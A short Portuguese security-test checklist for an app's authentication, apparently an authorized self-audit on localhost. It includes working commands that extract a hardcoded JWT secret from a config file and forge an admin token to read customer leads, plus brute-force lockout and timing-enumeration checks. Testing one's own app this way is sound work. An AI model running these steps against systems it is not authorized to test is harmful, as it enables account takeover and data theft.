Quebra de autenticação
DESTRUTIVO — só em localhost/lab. Nunca em produção. Só em alvo seu ou autorizado por escrito.
Os passos
4.1 Cookie lixo: curl -s -o /dev/null -w "%{http_code}\n" "$BASE/api/leads" -H "Cookie: cms_token=abc.def.ghi" → 401 ✅.
4.2 Secret errado: gere com node trocando o secret por "errado" → 401 ✅.
4.3 Secret real (o achado nº 1):
cd /d/Antigravity-Monetizacao_TikTok
SECRET=$(grep -o '"JWT_SECRET": *"[^"]*"' app/wrangler.jsonc | cut -d'"' -f4)
REAL=$(node -e "const c=require('crypto');const s=process.argv[1];const b=o=>Buffer.from(JSON.stringify(o)).toString('base64url');const h=b({alg:'HS256',typ:'JWT'});const n=Math.floor(Date.now()/1000);const p=b({sub:'voce@exemplo.com',role:'admin',iat:n,exp:n+86400});console.log(h+'.'+p+'.'+c.createHmac('sha256',s).update(h+'.'+p).digest('base64url'))" "$SECRET")
curl -s "$BASE/api/leads" -H "Cookie: cms_token=$REAL" | head -c 300
✅ 200 + leads reais → 🔴 crítico. Chrome: F12 → Application → Cookies → cms_token=$REAL → /admin/leads abre.
4.4 Lockout: 5 senhas erradas → 5×401 rápidos, sem delay/captcha → 🟠 achado.
4.5 Timing (validado nesta revisão): e-mail real ≈0,22s vs inexistente ≈0,17s → hash só roda para e-mail válido (side-channel mensurável).